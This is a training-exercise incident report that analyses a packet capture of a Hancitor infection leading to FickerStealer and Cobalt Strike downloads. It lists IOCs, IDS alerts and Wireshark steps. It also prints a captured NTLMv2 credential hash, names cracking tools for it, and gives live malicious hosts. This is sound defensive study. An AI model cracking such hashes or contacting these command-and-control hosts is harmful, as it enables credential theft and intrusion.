Post

Malware Traffic Analysis Report.

General

Report Overview: This report has been prepared as part of an exercise featured on the Malware - Traffic-Analysis website. The exercise focuses on a specific incident, with downloadable files provided to support the investigation and analysis.

Purpose: The goal of this document is to present a thorough analysis of the suspicious and malicious activity captured in the provided .pcap file. The file contains network traffic recorded during a simulated event, which is available through the provided link.

Content Structure: The report offers a detailed examination of the event, closely following the format of a standard incident response document used in real-world production networks. It includes a comprehensive breakdown of the malicious activity observed, focusing on key indicators of compromise (IOCs) and other relevant data.

For full context and to view the exercise’s description and accompanying files, please refer to the link provided.

Executive Summary

This report analyzes a network traffic capture (PCAP file) from Asco Limited, focusing on identifying suspicious and malicious activities within the organization’s network.

The investigation uncovered several indicators of compromise (IOCs), including abnormal network behavior and potential malware communication.

These findings suggest a targeted attack on the network, with evidence of malicious actors attempting to establish unauthorized access.

This summary outlines the key details of the incident, assesses the potential impact on Asco Limited’s infrastructure, and provides recommendations to mitigate future risks recommendations.

Incident Overview

Background

The network traffic analyzed in this report was captured on February 8, 2021, from the organization ASCOLIMITED. The traffic originates from a local area network (LAN) segment with the IP range of 10.2.8.0/24, which spans from 10.2.8.0 to 10.2.8.255. The domain for the network is ascolimited.com, and the domain controller is identified as AscoLimited-DC with the IP address 10.2.8.2. The gateway for this segment is 10.2.8.1, and the broadcast address is 10.2.8.255. This network layout provides the framework for analyzing suspicious and malicious activities within the traffic capture.

Summary:

LAN segment range: 10.2.8.0/24 (10.2.8.0 through 10.2.8.255) Domain: ascolimited.com

Domain controller: 10.2.8.2 - AscoLimited-DC

LAN segment gateway: 10.2.8.1

LAN segment broadcast address: 10.2.8.255

Scope of the events

The following table contains summary of what was found from the malicious traffic analysis, more details and technical information can be found on the POC section of this report. Please note, that information base only on the PCAP file, and the PN is Packet Number as start point of the malicious activity

PNTimeEventDescrition
231515:59:12.458095000 UTCConnection to tonmatdoanminh.comThe connection seems run by Windows Edge browser, the HTTP query is GET to uninviting.php file, the domain itself known as malicious on several vendors, the PHP code make new query that contain cookie of client UTC value.
299315:59:18.369919000 UTCJavaScript Manipolation on Client sideJavaScript from tonmatdoanminh.com was run on the client download hidden file with base64 and save it as 0208_54741869750132.doc it while redirect the client to another malicious domain (key.xn–nvigators-key-if2g.com) to download infected doc file named logon0208_54741869750132.doc. That malware categorized as Hancitor.
299915:59:18.557556000 UTCDownload Infected DOC File and Execute itClient run DNS query and run TCP session with key.xn–nvigators-key-if2g.com for download doc file named logon0208_54741869750132.doc overt TLS session. It also seems that the client executes that file. We can’t get that doc file from the PCAP since the session are encrypted.
381216:00:06.834697000 UTCHTTP Session to api.ipify.orgSession was made by the client to API service named api.ipify.org to get the external address of that host.
382516:00:10.595678000 UTCClient Push Personal DataWe can only assume that DOC’s files was executed, then the client push sensitive data like username, computer name, domain name, windows version and external IP address to satursed.com,also that push done every 2 minutes.
387716:00:12.297229000 UTCClient Download Binaries FilesAlso, a session to another domain (roanokemortgages.com) was made, then binaries (malwares) files was download to the client side. The files are: 0801.bin, 0801s.bin, 61hjgfdghj.exe. The exe file categorized as Filker Stealer.
388616:00:12.694358000 UTCClient Made TCP session to 198.211.10.238:8080TCP session was made, it looks like related to the last DOC execution. From that session another binary file was download named 6Aov, after the download was complete the session was upgrade to TLS encryption session. This malware categorized a Cobalt Strike.
472916:00:17.463901000 UTCClient Made another TCP session to 185.100.65.29:80That session used to transfer 7MB of data, after that session end, we can see the previous one and the session to stursed.com send the same data every 2 minutes.

Indicators of Compromise (IOCs).

The following contain the information about the indicators that can be used to implementation on systems and security components for prevent such malicious activities.

File NameFile Hash
6lhjgfdghj.exe94e60de577c84625da69f785ffe7e24c889bfa6923dc7b017c21e8a313e4e8e1
0801.binee33a8fa2ae6f6b9366c97ed4c00c2796d98a371249dca725a01aca03caf747b
0801s.bin7af0dc117d2dcd112f50889c4c8a14ac9ee55c2525a24fa66ff9a89b480b7e99
6Aove519c1e99f21fbc6754e2ed9ef38a12684d506617229b4ca87fcff86f6838250
0208_54741869750132.doc3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d
uninviting.php858aac988e85075348f32e4750f17bf5c16e579fff258d3def9f23563e89372d
forum.php3643b1eae555f0c273f0b7dcf095b6b292e9c2c5f22e7e80f29356e7cf336018
Wh102yYa.tmp (W0rd.dll)0d7aa23a72d22dcf47f8723c58d101b3b113cbc79dd407a6fac0e65d67076ea1
IPDomain/URL
162.241.149.195key.xn—nvigators-key-if2g.com site
54.235.147.252api.ipify.org
213.5.229.12satursed.com
198.211.10.238http://198[.]211[.]10[.]238:8080/ca
8.208.10.147roanokemortgages.com
185.100.65.29sweyblidian.com
45.124.85.55tonmatdoanminh.com

Analysis and Explanation of the Attack Process

During the analysis, we were able to understand what was append and what was done based on the timeline. In short, the attacker initiated the compromise through a phishing campaign (or other social engineering), leading the victim to a malicious domain and executing a weaponized document containing Hancitor malware. This malware initiated the download of multiple payloads, including FickerStealer and Cobalt Strike. The attack resulted in the exfiltration of sensitive information, control over the infected system, and continued data transfers to the attacker’s servers.

The following describes the actions taken by the attacker to provide a clear view of the attack process.

Event 1: Connection to tonmatdoanminh.com (PN 2315, 15:59:12 UTC) The attack begins with a connection to the domain tonmatdoanminh.com. This connection is initiated by the client using Windows Edge, sending an HTTP GET request to a suspicious PHP file (uninviting.php). The PHP code appears to collect the client’s cookie and UTC value, potentially gathering information for the attacker to exploit in the next stage.

Event 2: JavaScript Manipulation on Client Side (PN 2993, 15:59:18 UTC) Shortly after, JavaScript from the malicious domain tonmatdoanminh.com executes on the client machine. This script downloads a hidden file in Base64 format and saves it as 0208_54741869750132.doc. Simultaneously, the client is redirected to another malicious domain (key.xn–nvigators-key-if2g.com) where an infected document (logon0208_54741869750132.doc) is downloaded. This document contains the Hancitor malware.

Event 3: Download Infected DOC File and Execute it (PN 2999, 15:59:18 UTC) The client now initiates a DNS query to resolve the domain key.xn–nvigators-key-if2g.com and establishes a TCP session over TLS to

download the infected document. Although the session is encrypted, it’s clear that the client executes the malicious DOC file.

Event 4: HTTP Session to api.ipify.org (PN 3812, 16:00:06 UTC) After the DOC file is executed, the client makes a request to the external API service api.ipify.org to retrieve its public IP address. This is likely used by the malware to determine the client’s external network details.

Event 5: Client Pushes Personal Data (PN 3825, 16:00:10 UTC) Following the DOC execution, the client transmits sensitive information such as the username, computer name, domain name, Windows version, and external IP address to a third malicious domain (satursed.com). This data exfiltration occurs at regular two - minute intervals, indicating continuous communication between the client and the attacker’s infrastructure.

Event 6: Client Downloads Binary Files (PN 3877, 16:00:12 UTC) Next, the client initiates a session to yet another malicious domain (roanokemortgages.com). Multiple binary files, including 0801.bin, 0801s.bin, and an executable file 61hjgfdghj.exe, are downloaded. The executable is identified as FickerStealer malware, designed to steal sensitive information from the infected system.

Event 7: Client Initiates TCP Session to 198.211.10.238:8080 (PN 3886, 16:00:12 UTC) The client then establishes a TCP session to the IP address 198.211.10.238 on port 8080. During this session, another binary file (6Aov) is downloaded. After the download, the session transitions to a TLS-encrypted session. This file is identified as part of the Cobalt Strike toolkit, used for post-exploitation, command-and-control, and lateral movement within the network.

Event 8: Large Data Transfer to 185.100.65.29:80 (PN 4729, 16:00:17 UTC) Finally, the client initiates another TCP session to the IP address 185.100.65.29, during which 7MB of data is transferred. After this session ends,

the periodic communication with satursed.com continues every two minutes, indicating the ongoing exfiltration of stolen data.

Proof of Concept (POC)

This section demonstrates the steps taken to identify and confirm the malicious activity observed in the captured network traffic. By leveraging analysis tools and methods, the following process outlines how the suspicious behavior was reproduced and validated. The POC serves to provide technical proof of the attack, showcasing the techniques used to detect the Indicators of Compromise (IOCs) and the malicious communication within the .pcap file.

The compressed files that provided by Asco Limited contain the following files:

  • 2021-02-08-traffic.pcap – contain the record traffic from the date 08/02/2021.
  • Alerts.jpg – contain screenshot from Sguil dashboard which is network security monitoring (NSM) interface and work with IDS engines like Snort or Suricata. The image itself showed alert from the IDS about malicious activities.
  • Alerts.txt – contain the same events information from Alerts.jpg in text format.

Based on the provided files, a detailed analysis was done to examine the .pcap file and find all the important information. The steps below explain how the investigation was carried out to uncover the suspicious activity in the network. All the findings in this report include screenshots and, where possible, related text or event logs to support the analysis

Step 1: Information Gathering

From the screenshot of the Squil dashboard (alerts.jpg), we can see information (from the IDS device, like snort or suricata) about alerted malicious activities on the date 08/02/2021. That file contain the based information we can use on that assessment, first of all the local network IP address that look like the victim and the related addresses that we will try to find more information about them later, also we can see the Event Massages that contain details about the activities itself. Also that information can be found on the text file (alert.txt).

mta-005.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Count:6
Event#3.750 2021-02-08 15:59 UTC 
ET POLICY Lets Encrypt Free SSL Cert Observed
162\.241.149.195 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1500 ID=0 flags=0 offset=0 ttl=0 chksum=27137 Protocol: 6 sport=443 -> dport=49736 
------------------------------------------------------------------------
Count:1 Event#3.767 2021-02-08 16:00 UTC
ET POLICY External IP Lookup api.ipify.org 10.2.8.101 -> 54.235.147.252 
IPVer=4 hlen=5 tos=0 dlen=204 ID=0 flags=0 offset=0 ttl=0 chksum=56542 Protocol: 6 sport=49754 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=47744 chksum=0
------------------------------------------------------------------------
Count:10 Event#3.768 2021-02-08 16:00 UTC 
ETPRO MALWARE Tordal/Hancitor/Chanitor Checkin 10.2.8.101 -> 213.5.229.12 
IPVer=4 hlen=5 tos=0 dlen=443 ID=0 flags=0 offset=0 ttl=0 chksum=60612 Protocol: 6 sport=49755 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=30910 chksum=0
------------------------------------------------------------------------
Count:1 Event#3.769 2021-02-08 16:00 UTC 
ET POLICY HTTP Request on Unusual Port Possibly Hostile 10.2.8.101 -> 198.211.10.238 
IPVer=4 hlen=5 tos=0 dlen=40 ID=8878 flags=2 offset=0 ttl=128 chksum=62457 Protocol: 6 sport=49758 -> dport=8080 
Seq=2871987428 Ack=1221200613 Off=5 Res=0 Flags=\*\*\*A\*\*\*\* Win=65535 urp=56826 chksum=0
------------------------------------------------------------------------
Count:3 Event#3.770 2021-02-08 16:00 UTC 
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
198\.211.10.238 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=159 ID=0 flags=0 offset=0 ttl=0 chksum=54833
Protocol: 6 sport=8080 -> dport=49758 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=8722 chksum=0
------------------------------------------------------------------------
Count:3 Event#3.774 2021-02-08 16:00 UTC 
ET POLICY exe download via HTTP - Informational 10.2.8.101 -> 8.208.10.147 
IPVer=4 hlen=5 tos=0 dlen=219 ID=0 flags=0 offset=0 ttl=0 chksum=37972 Protocol: 6 sport=49757 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=51520 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.777 2021-02-08 16:00 UTC 
ET POLICY Binary Download Smaller than 1 MB Likely Hostile 8.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1162 ID=0 flags=0 offset=0 ttl=0 chksum=37029 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=10912 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.782 2021-02-08 16:00 UTC 
ET INFO Packed Executable Download 
8\.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1162 ID=0 flags=0 offset=0 ttl=0 chksum=37029 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=10912 chksum=0
------------------------------------------------------------------------
Count:1 Event#3.787 2021-02-08 16:00 UTC 
ETPRO MALWARE Meterpreter or Other Reverse Shell SSL Cert 198.211.10.238 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1176 ID=0 flags=0 offset=0 ttl=0 chksum=53816 Protocol: 6 sport=443 -> dport=49759 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=21749 chksum=0
------------------------------------------------------------------------
Count:250 Event#3.788 2021-02-08 16:00 UTC 
ETPRO MALWARE Cobalt Strike Beacon Observed 10.2.8.101 -> 198.211.10.238 
IPVer=4 hlen=5 tos=0 dlen=430 ID=0 flags=0 offset=0 ttl=0 chksum=54562 Protocol: 6 sport=49760 -> dport=8080 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=9750 chksum=0
------------------------------------------------------------------------
Count:32 Event#3.789 2021-02-08 16:00 UTC 
ET POLICY PE EXE or DLL Windows file download HTTP 
8\.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1162 ID=0 flags=0 offset=0 ttl=0 chksum=37029 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=10912 chksum=0
------------------------------------------------------------------------
Count:3 Event#3.821 2021-02-08 16:00 UTC 
ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile 8.208.10.147 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=1500 ID=0 flags=0 offset=0 ttl=0 chksum=36691 Protocol: 6 sport=80 -> dport=49757 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=64861 chksum=0
------------------------------------------------------------------------
Count:1 Event#3.825 2021-02-08 16:00 UTC 
ET POLICY External IP Lookup (ipify .org) 10.2.8.101 -> 54.235.147.252 
IPVer=4 hlen=5 tos=0 dlen=264 ID=0 flags=0 offset=0 ttl=0 chksum=56482 Protocol: 6 sport=49761 -> dport=80 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=8884 chksum=0
------------------------------------------------------------------------
Count:2 Event#3.828 2021-02-08 16:00 UTC 
ET MALWARE Win32/Ficker Stealer Activity
185\.100.65.29 -> 10.2.8.101 
IPVer=4 hlen=5 tos=0 dlen=81 ID=15075 flags=0 offset=0 ttl=128 chksum=62171 Protocol: 6 sport=80 -> dport=49763 
Seq=405699802 Ack=3790664959 Off=5 Res=0 Flags=\*\*\*AP\*\*\* Win=64240 urp=46503 chksum=0
------------------------------------------------------------------------
Count:2 Event#3.829 2021-02-08 16:00 UTC 
ET MALWARE Win32/Ficker Stealer Activity M3 10.2.8.101 -> 185.100.65.29 
IPVer=4 hlen=5 tos=0 dlen=48 ID=11072 flags=2 offset=0 ttl=128 chksum=49823 Protocol: 6 sport=49763 -> dport=80 
Seq=3790664959 Ack=405699843 Off=5 Res=0 Flags=\*\*\*AP\*\*\* Win=64199 urp=18464 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.883 2021-02-08 16:01 UTC 
ET POLICY HTTP POST on unusual Port Possibly Hostile 10.2.8.101 -> 198.211.10.238 
IPVer=4 hlen=5 tos=0 dlen=432 ID=0 flags=0 offset=0 ttl=0 chksum=54560
Protocol: 6 sport=49821 -> dport=8080 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=24014 chksum=0
------------------------------------------------------------------------
Count:5 Event#3.884 2021-02-08 16:01 UTC 
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 10.2.8.101 -> 198.211.10.238 IPVer=4 hlen=5 tos=0 dlen=432 ID=0 flags=0 offset=0 ttl=0 chksum=54560 Protocol: 6 sport=49821 -> dport=8080 
Seq=0 Ack=0 Off=5 Res=0 Flags=\*\*\*\*\*\*\*\* Win=0 urp=24014 chksum=0

So, the information we have so far about the victim:

IP Address: 10.2.8.101.

Related ports on the sessions: 80, 443, 8080.

The following are the suspected IP addresses that will be analyzed later in the report:

162.241.149.195 – look like it used Let’s Encrypt for create session-based SSL.

54.235.147.252 – sort of using API (ipify.org) for making external lookup.

213.5.229.12 – which is session that may contain type of malware.

198.211.10.238 – used http on port 8080 which is unusual port, also look suspected, because it look like create with possible type of shellcode like reverse shell and/or Meterpreter as we can see on the screenshot.

8.208.10.147 – used for download EXE and DLL files, that session may related to the others.

185.100.65.29 – also session that contain type of malware.

Step 2: Identifying Source Host Information

So now after we have that all information, we can use the source .pcap file to find more information about the victim. So far, we know the source IP address of that host, so we can use the following filter on the search box:

ip.addr == 10.2.8.101 && nbns

mta-009.png

Also, for get the full hostname, we can use Wireshark setting that can display the full hostname in the packet, we just need to click and select the following View>Name Resolution>Resolve Network Address.

mta-010.png

We can clearly see the hostname for that PC, also by opening the frame we can find the MAC address for that source, also Wireshark can give us the vendor’s name which is in that case HP.

mta-011.png

` `And by lookup that source MAC address we can verify the vendor registration for that mac address and last update, which in our case is oct 2004, that may tell us that this is an old machine.

mta-012.png

For finding more details about the OS version of that host we can use HTTP filter from that source and search the user-agent filed which should tell us what the OS type and the browser is used.

mta-013

Using online parsing tool for that user-agent, tell us that in that case the OS is windows 10 the browser in used most likely Edge, we also have the version of that Edge.

mta-014

To find more information like the build number of the windows 10 we can use the following filer:

ip.src == 10.2.8.101 && ntlmssp

The NTLMSSP (NT LAN Manager Security Support Provider) protocol is used for authentication in Windows environments.

mta-015.png

Also, the source user can be found by the same filter, since SMB2 Session Setup Request was made for establishing a session between a client and server, it also can reveal the source user’s identity. This packet is sent by the client to initiate a session with the server, and it includes an important component called the “Session. Setup Request” structure. Within this structure, the client provides authentication information which may include Kerberos tokens or NTLMSSP (in our case). If NTLMSSP is used, the Type 3 Authentication packet, part of the NTLMSSP handshake, contains the username, domain, and other credentials.

mta-016.png

So now we have the following information about the host which most likely the victim: Hostname: DESKTOP-MGVG60Z.ascolimited.com

IP Address: 10.2.8.101

MAC Address: 00:12:79:41:c2:aa

Machine Vendor: Hewlett Packard

OS Version: Windows 10 build 19041

Source User: bill.cook

Local Domain Name: ASCOLIMITED

By gathering this information, we can keep it in mind as we proceed, allowing us to analyze the PCAP file further and extract the relevant IOCs from it.

Step 3: Analyze Network Behavior

So far, the network appears to be a Windows environment, so we should look for protocols that are likely active on this internal network. By examining these protocols, we may identify the internal network’s strengths and weaknesses through the PCAP recording.

First, we can see that this pcap contain LLMNR query on the shared network, this is mean that LLMNR are active on that host, as the host is attempting to resolve a name using the LLMNR protocol on the local network.

mta-017.png

Link-Local Multicast Name Resolution (LLMNR) is a protocol that can be exploited by attackers to capture sensitive information such as password hashes on a shared network (using Responder as example). By sending malicious LLMNR queries, an attacker can trick the target system into revealing authentication details, potentially compromising network security. To mitigate this risk, it is advisable to disable LLMNR on endpoint hosts. Disabling LLMNR helps reduce the attack surface and prevents unauthorized access to sensitive data through this protocol.

Also, the presence of NetBIOS Name Service (NBNS) traffic on that .pcap file indicates that NBNS is active on the network.

mta-018.png

NBNS is used for NetBIOS name resolution on local networks, which can be exploited in attacks such as NetBIOS Name Service poisoning. Attackers can craft and broadcast malicious NBNS responses to redirect legitimate traffic to malicious hosts or intercept sensitive information. When clients use NetBIOS for authentication, it may reveal NTLM hashes of user credentials. Attackers on the same network can capture these hashes and attempt to crack them to gain unauthorized access to systems.

Disabling NBNS helps to minimize the attack surface and enhance the security posture of the network, also based on the .pcap file we can see DNS query in used, it means that DNS active on the shared network for name resolution solution, so NBNS can be safely disabled.

Also, MDNS (Multicast DNS) found active on the local host, this is used for device discovery on local networks (e.g., for printers or smart devices).

mta-019.png

Attackers can abuse MDNS to perform MitM attacks by spoofing responses to MDNS queries. This could lead to traffic redirection or interception. If MDNS is not needed for the environment (as example, the environment don’t rely on device discovery or service advertisement via MDNS), it’s a good idea to disable MDNS to reduce the attack surface.

Further examination of the PCAP file indicates that SMB version 1 is in use on the local host, as the host attempts to negotiate the protocol with the local domain controller using the NT LM 0.12 dialect, which is associated with SMBv1.

mta-020.png

mta-021.png

The response from the local DC indicates that it is negotiating with SMBv2. This response can be identified as part of the SMB negotiation process by referencing packet numbers 138 and 139.

mta-022.png

Additionally, the response shows that the security mode has signing enabled and required, which is a positive security measure.

mta-023.png

However, since the host requested negotiation using the NT LM 0.12 dialect, this indicates that SMBv1 is still in use. This poses a risk, as SMBv1 is vulnerable to attacks such as stealing credentials and Pass-the-Hash techniques. It is recommended to disable SMBv1 on all network hosts to mitigate these security risks.

Also, in the host identification section, we observed that the NTLMSSP protocol, which is related to SMB, was used, and we were able to retrieve user information. Further examination revealed that SMB signing is not enabled.

mta-024.pngPacket number 17824 suggests that changes related to SMB may have occurred on the local host since signing is not enabled. Additionally, by examining this packet in detail, we can observe the hash directly. Using the right tool, we can extract this hash from the PCAP file as an NTLMv2 hash.

mta-025.png

mta-026.png

1
bill.cook::ASCOLIMITED:d0b12b47f0500250:f7cd2b31f9edc5ccf09601932ef1be2d:0101000000000000d497a7b533fed601477f8d19bad3759f000000 00020016004100530043004f004c0049004d00490054004500440001001c004100530043004f004c0049004d0049005400450044002d004400430004001e006 100730063006f006c0069006d0069007400650064002e0063006f006d0003003c004100730063006f004c0069006d0069007400650064002d00440043002e00 6100730063006f006c0069006d0069007400650064002e0063006f006d0005001e006100730063006f006c0069006d0069007400650064002e0063006f006d0 007000800d497a7b533fed601060004000200000008003000300000000000000000000000002000006d34b9ad307f072ed952237dc122b67b45660d5a757dd5 6940fb66999c0836770a0010000000000000000000000000000000000009001a0063006900660073002f00310030002e0032002e0038002e003200000000000 0000000

As shown, we can use BruteSharkCli.exe to get the NTLM hash from the PCAP file. This hash can be used with tools like Hashcat or John the Ripper to try and find out the original password. We also noticed that SMB signing is turned off on the host, which might suggest some security issues. In the next section, we’ll look more closely at what it means for SMB signing to be off and check for any signs of malicious activity related to this problem.

Using the same technique, we were able to extract another hash. This time it is a Kerberos hash, so we should keep it in mind as we proceed further.

mta-028.png

So far, we know that the local host contains several traffic samples that may indicate the network behavior, including LLMNR, NBNS, MDNS, and SMBv1 protocols. Additionally, NTLMv2 and Kerberos credential hashes are present in the PCAP file, which could suggest related malicious activities. However, they might also be due to misconfigurations, so further examination is necessary.

Step 4: Analyze Network Activities

First, we want to examine the conversations in the PCAP file. The goal is to identify the sessions with the most data transfer and investigate the associated addresses. In our case, we can see that the victim at IP address 10.2.6.101 is communicating with 185.100.65.29 on port 80. This IP address was also observed earlier in the dashboard image.

mta-029.png

Since that session contain 7MB, it may indicate of file transfer, we can check it by view the available objects for export: File>Exports Objects >HTTP.

mta-030.png

We can see that the list contains several PHP files worth examining, along with various binary files and an EXE file from roanokemoratgages.com. There are multiple domains that we need to check, and towards the end of the list, we find additional relevant information.

mta-031.png

We can see the repeated IP address that is also found in the alert.jpg, as well as additional PHP files that we need to examine as we proceed.

So far, we have several domains that look suspected and several files that also look malicious, so we will examining one by one now, also note that there are several session files from s-microsoft.com look like came from Microsoft and simple google search and domain lookup can approved that assumption.

mta-032.png

The first suspected session is the HTTP GET request against 45.124.85.55 that ask for uninviting.php from domain named tonmatdoanminh.com

mta-033.png

By checking the packet itself we can see that the connection to that site was made with the local browser on the host.

mta-034.png

Checking that domain against Virus Total found that this site looks malicious for several vendors.

mta-035.png

Following the HTTP stream (right click on packet number 2315>Follow>HTTP Stream), reveald the javascript code that used to store and manage time zone information in cookies and ensure that this data is available on the user’s subsequent visits.

mta-036.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script> 
// Get the current time zone offset in minutes and convert it to a negative value. let d = -new Date().getTimezoneOffset();
// Get the current time zone name. 
let n = Intl.DateTimeFormat().resolvedOptions().timeZone;
// Function to set a cookie with a specified name, value, and expiration time in minutes. function set\_cookie(name, value, minutes) {
let date = new Date();
date.setTime(date.getTime() + (minutes \* 60 \* 1000));
let expires = "";
if (minutes) {
expires = "; expires=" + date.toGMTString();
  } 
document.cookie = name + "=" + escape(value) + expires + ";path=/";   
} 

// Function to retrieve the value of a specified cookie by its name. 
function get\_cookie(cookie\_name) {
let results = document.cookie.match('(^|;) ?' + cookie\_name + '=([^;]\*)(;|$)');
if (results) {
return (unescape(results[2]));
  } else { 
return null;
  } 
} 

// Check if the 'd' and 'n' cookies are not set and update them with value and reload the page. if (!get\_cookie('d') && !get\_cookie('n')) {
set\_cookie('d', d, 2);
set\_cookie('n', n, 2);
document.location.reload();
} 
</script> 

Please note, I have added the comments in yellow on that script block. On the next query we can see that this cookie values were set.

mta-038.png

This GET query tell the other side what the UTC value of that client is, the followed JavaScript that get from that query used to download some file that hidden by base64.

mta-039.png

mta-040.png

In general, the script is used to generate and download a file directly from the browser. This could be for legitimate purposes, but since it contains base64 encoded data, it may be harmful content, in our case file named 0208_54741869750132.doc. Also, we can see the script and meta tag together which activate the automatic download of a file and immediate redirection to a potentially suspicious URL, which could be part of a larger malicious operation. Checking that Domain also looks like malicious site.

mta-041.png

Next, a DNS query was made to that URL and the query respond contain the address to this domain, since that is https the session are encrypted, we can only see TLS session to 162.241.149.195, which is the key.xn— nvigators-key-if2g.com site.

mta-042.png

In some point we can see that this session is dying, we can make some query on Wireshark to follow the TCP stream and see the RST which end the session.

ip.addr==162.241.149.195 && tcp

mta-043.png

Then we can see that the client trying made some authentication against login.microsoftonline.com, this site is generally related to Microsoft’s authentication and identity management services, and it is used to log into various Microsoft and partner applications securely.

mta-044.png

After that session get reset, we can see another packet about DNS queries to api.ipify.org (which also found on the Alerts.jpg image).

mta-045.png

The resolved for that one was 54.235.142.93, we can find that on the DNS responding from the local DC server. We can also see that this host is hosted on Amazon Web Services (AWS).

mta-046.png

Right after that session for HTTP was made, and we can using follow http stream so see that this target replay with the following.

mta-047.png

This HTTP response is from the api.ipify.org server, which has successfully handled a request for the root path (/). The server uses the Cowboy HTTP server, and the response is a plain text message which contains the external IP address 173.66.46.122, also parsing the user agent looks like it now Internet Explorer 11.

mta-048.png

Right after that packet we can see DNS query, it asks to resolve satursed.com.

mta-049.png

The reply contains the address 213.5.229.12, which also appears on the alert.jpg image, then the HTTP query is POST to push data into forum.php, which we saw earlier.

mta-050.png

Inspecting that data, we can see that it pushes information from local host like the host name, domain name, username, windows version and also the external IP address we saw from the query against api.ipify.org.

mta-051.pngRight after that we can see the following DNS queries, one of them is what we saw earlier on the available object to export from HTTP.

mta-052.png

The responding contains the 8.208.10.147 address related to roanokemortgages.com, which also can be found in the alert.jpg image, we saw alerts from that one about downloading EXE and DLL files.

mta-053.png

Following that session on HTTP level revealed that the local host query to get several files: 0801.bin

0801s.bin

61hjgfdghj.exe

mta-054.png

After the 0801.bin and 0801s.bin files session was made, a TCP three-way handshake was start with another address which is 198.211.10.238 on port 8080 for getting another file named 6Aov. That session also alerted by the IDS as we saw on the alerts.jpg image.

mta-055.png

As we moved forward, we can see that the session with that host was upgraded for using certificate and TLS for encrypt the session.

mta-055.png

Then it looks like after the transfer complete it finish the session and other queries against api.ipify.org was made.

mta-057.pngAnother query was made to the DNS to obtain the address of the domain sweyblidian.com. The reply from the DNS server contained the following address: 185.100.65.29. This address was also found on the IDS dashboard, as it was associated with malware activity in that session.

dns.qry.name == “sweyblidian.com”

mta-058.png

If we follow the session, we can see that the server asks for desktop.ini file from the client.

mta-059.png

This looks like a long stream on this packet capture, also the session was change on the TCP level several times.

mta-060.png

We can see TCP Window Full and TCP Zero Window, this means that the sender is sending data at a faster rate than the receiver can process, but the receiver can still accept some data once it processes and frees up its buffer. That session ends up at 16:00 UTC time on packet 14368.

mta-061.png

So far in the packet capture, we have observed several suspicious files associated with malicious sessions that downloaded binary malware. One of these files was an executable called 61hjgfdghj.exe. Checking this file on Virus Total revealed the following results.

mta-062.png

Also, Virus Total give us information about the malware from each vendor, which in that case categorized that malware as Ficker Stealer, which used to steal data and us C&C server. More information about such malware can be found here.

Also, we saw file name 6Aov, searching that on Virus Total show us that this is type of shellcode. Several vendors categorized it as Cobalt, we also can see on Family labels that it related to Cobalt Strike, so we can guess that it used for gathering more sensitive data and maintain access. More information about Cobalt Strike functionality can be found here.

mta-063.png

Also, we saw DOC file named 0208_54741869750132.doc, running simple google search led us to the following any run site that can tell us more about that file.

mta-064.png

Searching that hash on Virus Total can give us more information. That malware categorized as Hancitor by many vendors, more information about that threat type can be found here

mta-065.png

Since we know about more files we saw on that capture, we can make list from them for IoC’s and used the information related, like IP address, URL’s, filenames and hashes, we also know that the session may related to Bill Cool, we saw it start from browses sites using Microsoft Edge.

At least we have the following three malware that we can take attention carefully:

  • Hancitor.
  • FickerStealer.
  • Cobalt Strike.

Step 5: Malware Research and Reverse Engineering

So far, we know about several malicious files, but in that section, I want to concentrate on the following malware files: Hancitor, FickerStealer and Cobalt Strike. Please note that all steps shown here were done on my Linux, and it is not recommended to run the malware on production windows environment. Also, the idea is to find more indicator and get more information about the attack itself.

In our case the FickerStealer is the 6lhjgfdghj.exe, by testing that file on local VM I have found nothing but the query to api.ipify.org for getting the information about the external IP address, also Cobalt Strike in our case is the 6Aov binary file, and we have more two bin files that look related, running mini bash script against them tell us nothing but this is data files.

mta-066.png

